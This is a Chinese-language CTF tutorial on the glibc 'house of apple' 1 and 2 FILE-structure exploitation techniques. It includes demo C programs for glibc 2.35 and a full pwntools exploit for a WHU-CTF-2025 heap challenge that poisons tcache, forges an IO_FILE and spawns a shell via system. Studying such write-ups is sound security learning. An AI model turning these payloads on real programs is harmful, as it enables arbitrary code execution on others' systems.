Overview
house of apple是一种非常优秀的IO攻击方法,由roderick师傅提出,之前自己在学习堆的时候总是百思不得其解,现在再来回顾一下house of apple并记录下来。参考了roderick师傅的三篇文章和ZIKH26师傅的博客,同时加入了自己的理解。
house of apple 1
利用条件
- 可以泄漏
libc地址和堆地址 - 可以使用任意地址写一个堆地址(通常是
largebin attack) - 从
main函数返回或者调用exit函数
攻击效果
任意地址写一个堆地址(也可以是任意地址写一个其他地址,这个地址取决于伪造的IO_FILE在哪里,通常是在堆上,所以是任意地址写一个堆地址)
前置知识
在IO_FILE中有一个成员变量_wide_data,该成员变量为一个结构体指针
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};C该_IO_wide_data结构体定义如下,它是宽字节流的数据结构,用于处理宽字符的输入输出
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};C而在这个结构体中有一个_wide_vtable,里面存放的也都是函数指针
const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};C注意一下:
IO_jump_t是glibc中一个通用的结构体,用于实现文件流的多态性。它定义了一组函数指针,这些函数指针指向文件流的不同操作,如读、写、定位等等。IO_wstrn_jumps是IO_jump_t的一个实例,它用于实现宽字符流。它继承了IO_jump_t的所有函数指针,并定义了一些额外的函数指针,用于支持宽字符流的特殊操作。IO_jump_t结构体如下,vtable是它的一个实例。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};C漏洞原理
house of apple 1中利用的漏洞位于_IO_wstrn_jumps结构体中的函数指针指向的_IO_wstrn_overflow,该函数的源码如下
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return c;
}C这个函数是宽字符流的溢出处理函数,当宽字符缓冲区已满,需要将数据写入指定位置(文件或者终端)时,该函数会被调用。
关于上面的代码首先要做一个简单的分析
snf的地址和fp的地址相同 (也就是当前处理的这个IO_FILE的首地址)snf->overflow_buf相对于_IO_FILE结构体的偏移为0xf0,紧跟着在vtable后面- 正常情况下
fp->_wide_data->_IO_buf_base != snf->overflow_buf这个条件是成立的。也就是if下的代码会被执行,完成下面的赋值操作
漏洞就在赋值操作上:
- 因为没有关于
fp->_wide_data的合法性检查,如果我们能控制fp->_wide_data就可以让snf->overflow_buf这个地址写入到fp->_wide_data->_IO_write_base上 - 通过
->来访问结构体中的成员变量本质上就是访问一个指针的偏移 - 因此实际完成的操作是
snf->overflow_buf地址写入到fp->_wide_data地址加0x20处,完成了一次任意地址写一个不可控地址,这个不可控地址是snf->overflow_buf,但是我们通常把伪造的的IO_FILE伪造在堆上,所以它通常是个堆地址
demo分析
下面我们来看一下demo,注意libc的版本,不同版本的偏移量不同
//Ubuntu GLIBC 2.35-0ubuntu3.9_amd64
// gcc demo.c -o demo -g -w
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
char data[0x10];
int main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
printf("data address -------> %p\n",&data);//最终被写入数据的全局变量地址
printf("data value -------> %s\n",data);//此时全局的内容为空
void *libc_base=&printf-0x606f0;//获取libc基地址
printf("libc base address ------> %p\n",libc_base);
void *p=malloc(0x100);//该堆块就是用来伪造IO_FILE的
printf("Forged IO_ File address--------> %p\n",p);
long long int _IO_wstrn_jumps =libc_base+0x216dc0;//获取_IO_wstrn_jumps的地址
long long int *vtable=p+0xd8;//获取伪造的IO_FILE的地址
long long int io_stdin=libc_base+0x21aaa0;//获取_IO_2_1_stdin_结构体的地址
*(long long int *)(io_stdin+0x68)=(long long int)(p);
//该攻击的第一步,需要先将伪造的IO_FILE添加到_IO_list_all中
//我这里选择了篡改_IO_2_1_stdin_中的_chain字段,将其改为伪造的IO_FILE
*(vtable)=_IO_wstrn_jumps;//该攻击的第二步,将IO_FILE中的vtable改成 _IO_wstrn_jumps的地址
*(long long int*)(p+0xa0)=(long long int)(data-0x18);
//攻击第三步,将伪造的_IO_FILE中的_wide_data字段改为目标地址
//触发攻击时就会向目标地址加0x18 0x20等等位置写入snf->overflow_buf的地址
//这里我提前将目标地址减了0x18,在触发攻击时,就可以直接向目标地址写入snf->overflow_buf的地址了
//下面两行代码是为了绕过检查,触发overflow函数,分别将write_base设置为0 write_ptr设置为1
//需要注意的是本来还需要伪造_mode字段为0,但是通常在堆块上这个字段默认是0
//所以下面就没有伪造,但并不意味这_mode字段不需要伪造
*(long long int*)(p+0x28)=(long long int)(1);
*(long long int*)(p+0x20)=(long long int)(0);
fcloseall();//触发攻击
printf("data value -------> %s\n",data);//最后打印data的内容,发现原本内容是空的data变成了snf->overflow_buf的地址
return 0;
}C在demo里应该写的很清晰了,但是这些偏移量是怎么找出来的呢
首先是libc这个不用过多介绍,相信学到这个地方的都没什么问题
其次是_IO_wstrn_jumps这个的偏移量是相对于libc固定的,一般在图中所示的地方

我们最笨的办法就是tele它直到找到_IO_wstrn_jumps

伪造的vtable没什么好说的,32位0x94,64位0xd8
_IO_2_1_stdin_在 ida 中可以找到

它的_chain域偏移为0x68
运行demo可以发现

是成功修改了全局变量的内容
这个攻击虽然还不能获取shell,但是可以向几个地址里写入堆地址。
house of apple 2
在house of apple 1中我们已经可以向几个地址中写入堆地址了,但是还不能做到控制程序的执行流,这显然是无法满足我们的需求的,于是又诞生了house of apple 2
利用条件
- 可以泄露
libc地址和堆地址 - 可以使用任意地址写一个堆地址(通常是使用
large bin attack) - 从
main函数返回或者调用exit函数
可以发现我们的利用条件其实是一样的
攻击效果
控制程序的执行流
前置知识
在2.23的libc版本中,我们可以通过劫持vtable,从而替换其中的函数指针来控制程序的执行流,但是在之后的libc版本中,都对vtable进行了合法性检查,判断vtable是否在一个合法的区间里。但这不意味着无法伪造vtable了,目前如果将vtable原本存放的_IO_jump_t改成_IO_wfile_jumps依然是可以通过检查的(roderick师傅说只要是jumps都满足检测)(在hosue of apple 1中我们是将_IO_jump_t改成了_IO_wstrn_jumps)
_IO_wfile_jumps结构体如下
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)C在house of apple 2中有很多条利用链,先讲一下overflow触发的利用链
在调用exit函数时有如下的调用链:
exitfcloseall_IO_cleanup_IO_flush_all_lockp_IO_OVERFLOW
也就是说最后会调用到_IO_OVERFLOW这个函数中
那么如果我们能控制这个是我们想执行的函数,是不是就控制了程序的执行流呢
漏洞原理
假设我们讲原本的vtable中的_IO_jump_t结构体的地址改成_IO_wfile_jumps,那么本应该去调用__overflow函数便不会执行,而是去调用_IO_wfile_jumps中的_IO_wfile_overflow函数
然后分析一下_IO_wfile_overflow函数
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
}
......
}
libc_hidden_def (_IO_wfile_overflow)C我们的目的是调用到_IO_wdoallocbuf函数
_IO_wdoallocbuf函数源码如下:
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)C_IO_WDOALLOCATE(fp)这里就是我们最后劫持程序执行流的地方,它是这样调用的_wide_data->_wide_vtable->doallocate。这个函数最终也是通过vtable被调用的,但是这个是_wide_data结构体中的_wide_vtable所调用的,没有合法性检测,就可以伪造这个vtable
再来回顾下上面提到的 _wide_vtable 结构体 ,可以看到这个 doallocate 位于偏移 0x68 的位置。因此我们只需要让伪造的这个 vtable 加 0x68 的位置为 system 函数即可。接下来想获取 shell ,只需要控制参数即可。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};C发现最终执行的是 _IO_WDOALLOCATE (fp) ,而这个 fp 就是 IO_FILE,因此控制参数的话只需要让 flags 字段为 /bin/sh 。
绕过限制
_flags设置为~(2 | 0x8 | 0x800),如果是获取shell的话,那么可以将参数写为sh;,这样_flags既能绕过检查,又能被system函数当作参数成功执行。需要注意的是sh;前面有两个空格(0x3b68732020)_wide_data->_IO_write_base设置为0,fp->_wide_data->_IO_buf_base设置为0fp->_mode == 0和fp->_IO_write_base>fp-> _IO_write_base,这样即可触发_IO_OVERFLOW- 将
IO_FILE中的vtable字段改为_IO_wfile_jumps - 将
IO_FILE中的wide_data设置为可控堆地址,目的是控制wide_data中的write_base和buf_base为0 - 控制
wide_data->wide_vtable为地址A,地址A满足*(A+0x68) == system(此处的system地址是自己布置的)
demo分析
//Ubuntu GLIBC 2.35-0ubuntu3.9_amd64
// gcc demo.c -o demo -g -w
#include<stdio.h>
int main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
long long int libc_base=&printf-0x606f0;
printf("libc_base --------> %llx\n",libc_base);
long long int stderr_address=libc_base+0x21b6a0;
printf("stderr address --------> %llx\n",stderr_address);
long long int wide_data=stderr_address+0xa0;
printf("wide_data --------> %llx\n",wide_data);
long long int vtable=stderr_address+0xd8;
printf("vtable --------> %llx\n",vtable);
long long int io_wfile_jumps=libc_base+0x2170c0;
long long int wide_data_write_base=*(long long int *)(wide_data)+0x18;
long long int wide_data_buf_base=*(long long int *)wide_data+0x30;
printf("io_wfile_jumps --------> %llx\n",io_wfile_jumps);
printf("wide_data_write_base --------> %llx\n",wide_data_write_base);
printf("wide_data_buf_base --------> %llx\n",wide_data_buf_base);
long long int wide_vtable=libc_base+0x21A980;
printf("wide_vtable --------> %llx\n",wide_vtable);
long long int system=libc_base+0x50d70;
long long int write_base=stderr_address+0x20;
long long int buf_base=stderr_address+0x38;
long long int system_ptr=wide_vtable-8;
*(long long int *)vtable=io_wfile_jumps; // step 4
*(long long int *)write_base=0; // fp->_write_base=0; step 3
*(long long int *)wide_data_write_base=0; // step 2
*(long long int *)wide_data_buf_base=0; // step 2
*((long long int *)system_ptr)=system; // step 6
*(long long int *)wide_vtable=libc_base+0x21A910; // step 6
*(long long int *)stderr_address=0x3b68732020; //~(2 | 0x8 | 0x800); step 1
exit(0);
}Clibc还是照常
stderr通过libc的固定偏移找,这个就是我们的IO_FILE

wide_data和vtable都是固定偏移,0xa0和0xd8
_IO_wfile_jumps通过libc固定偏移

wide_data_write_base和wide_data_buf_base都是固定偏移
wide_vtable可以直接通过ida找

demo运行结果

例题
我们以WHU-CTF-2025的一道题为例子
checksec
[*] '/home/gary/Temp/heap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: NoBash可以发现全开
ida分析

经典的菜单题

add函数限制了size的大小

edit函数有明显的堆溢出漏洞,可以修改
其余的函数均没有漏洞,聪明的小伙伴可能已经想到可以用tcache poison了,但是要注意这里的libc为2.35,没有那些hook了。这时我们的house of apple就可以发挥作用了,毕竟也是讲这个的
利用思路
那我们的思路其实很简单,首先泄漏libc和heap的地址,这个用tcache和unsorted bin就可以完成
然后我们需要伪造_IO_FILE来完成house of apple,这里我们可以使用tcache poison把堆开辟到_IO_list_all这样我们就可以操控_IO_FILE了
接着我们需要找到一块可控的堆内存,把这个堆内存添加到_IO_list_all中,也就是变相的把_IO_FILE添加到_chain域中了
接下来按照要求一个一个布置堆块即可,fp->_flags要为 sh,fp->_wide_data控制为可控堆地址,wide_data->wide_vtable布置为与system有关的地址,_IO_FILE中的vtable设置为_IO_wfile_jumps,其余为0就ok了
看起来可能很麻烦,但是有捷径
fake_io = flat(
{
0x0: b" sh",
0x28: libc_base + libc.sym["system"], # _IO_write_ptr
0xA0: fake_io_addr + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_io_addr+ 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc_base + libc.sym["_IO_wfile_jumps"], # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)Python我们来分析这样一段python代码,这个fake_io就是我们要伪造的_IO_FILE
0x0也就是_flags,没什么好说的0x28是fp->_IO_write_ptr,这个不影响我们的劫持流程,因此我们把它设置为system的地址0xD8是fp->vtable,设置为_IO_wfile_jumps0xD0是无关紧要的数据,其实也就是vtable的上一个fp->_unused2,这个一般都是0,我们把它设置为与system有关的地址A,满足*(A + 0x68) == system- 那么我们还需要设置最后一个东西,
_wide_data不仅要将其设置为可控堆地址,还要满足_wide_data->_wide_vtable是我们已经布置到的0xD0,那么我们设置成fake_io_addr + 0xD0 - 0xE0,0xE0是固定偏移

这样布置完之后,其余用\x00填充,我们的条件就满足了,那么我们的house of apple也就可以控制程序的执行流了
以下是 exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
filename = "./pwn"
libcname = "./libc.so.6"
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
b *(
'''
def start():
return process(filename)
menu = b'5.exit\n'
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b'Idx:\n', str(idx).encode())
p.sendlineafter(b'Size:\n', str(size).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'Idx\n', str(idx).encode())
p.recvuntil(b'Content\n')
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b'Idx\n', str(idx).encode())
def edit(idx, content):
p.sendlineafter(menu, b'4')
p.sendlineafter(b'Idx\n', str(idx).encode())
p.sendafter(b'Content\n', content)
def debug():
gdb.attach(p)
pause()
p = start()
add(0, 0x10)
for i in range(7):
add(i+1, 0xf0)
add(8, 0x10)
add(9, 0xf0)
add(10, 0x10)
free(1)
# debug()
edit(0, b"a"*0x20)
show(0)
p.recvuntil(b"a"*0x20)
key = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
log.success(f"heap_base>>> {hex(heap_base)}")
edit(0, b"\x00"*0x18 + p64(0x101))
# debug()
for i in range(6):
free(i+2)
# debug()
free(9)
# debug()
edit(8, b"a"*0x20)
show(8)
# debug()
p.recvuntil(b"a"*0x20)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0
log.success(f"libc_base>>> {hex(libc_base)}")
edit(8, b"\x00"*0x18 + p64(0x101))
for i in range(8):
add(i+1, 0xf0)
# debug()
free(6)
free(7)
# debug()
io_list_all = libc_base + libc.sym['_IO_list_all']
log.success(f"io_list_all>>> {hex(io_list_all)}")
edit(0, b"\x00"*0x18 + p64(0x101) + p64((io_list_all)^key))
# debug()
add(6, 0xf0)
add(1, 0xf0)
# edit(1, b"aaaaaaaa")
# debug()
fake_io_addr = heap_base +0x13d0 # 找的可控的内存
log.success(f"fake_io_addr>>> {hex(fake_io_addr)}")
log.success(f"heap_base>>> {hex(heap_base)}")
# debug()
edit(1, p64(fake_io_addr)) # 把找的内存加入到_IO_list_all
# debug()
fake_io = flat(
{
0x0: b" sh",
0x28: libc_base + libc.sym["system"], # _IO_write_ptr
0xA0: fake_io_addr + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_io_addr+ 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc_base + libc.sym["_IO_wfile_jumps"], # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
# debug()
edit(2, fake_io)
# debug()
sleep(1)
p.sendlineafter(menu, b'5')
p.interactive()Python总结
以上是我对house of apple的一些自己的见解,大家像学习这种攻击方法还是推荐去看roderick师傅的原博客,在开头已经放出,包括其中的详细控制、利用思路还有orw等等,因为pwn的沙箱也是很讨厌的一个东西,这是还是orw比较好
堆这部分的东西很细很杂,学习过程中也是需要耐心的,多利用gdb调试,多思考,才能找到最终的flag
🙂 luckcy pwning






